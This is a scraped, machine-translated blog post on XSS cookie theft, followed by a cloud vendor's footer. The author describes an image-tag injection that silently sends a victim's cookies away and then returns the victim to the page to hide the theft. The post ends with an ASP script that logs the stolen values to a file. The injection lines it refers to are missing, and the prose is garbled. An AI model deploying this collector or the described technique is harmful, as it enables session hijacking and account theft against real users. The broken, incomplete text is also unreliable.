Code for XSS cookie Spoofing

Source: Internet
Author: User

Tosec Security Team Blog

I 've been busy writing this XSS code for half an hour. I haven't reviewed it for a few months and I almost forgot it. Here, let's record it. The basic effect I want is that it doesn't affect the other side's page, therefore, a return requirement must be added.

In this statement, you can freely change its shape to meet your requirements.

The following sentence is written using the img html element. Common scripts are no longer popular. Changing a type may be more interesting.

The preceding statement indicates that the previous page is returned after the cookie is dropped to achieve a small purpose of hiding.

Appendix asp spoofing code:

<%
Testfile = Server. MapPath ("custom file .txt ")
Msg = Request ("Custom Data Table ")
Set fs = server. CreateObject ("scripting. filesystemobject ")
Set thisfile = fs. OpenTextFile (testfile, 8, True, 0)
Thisfile. WriteLine ("" & msg &"")
Thisfile. close
Set fs = nothing
%>

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.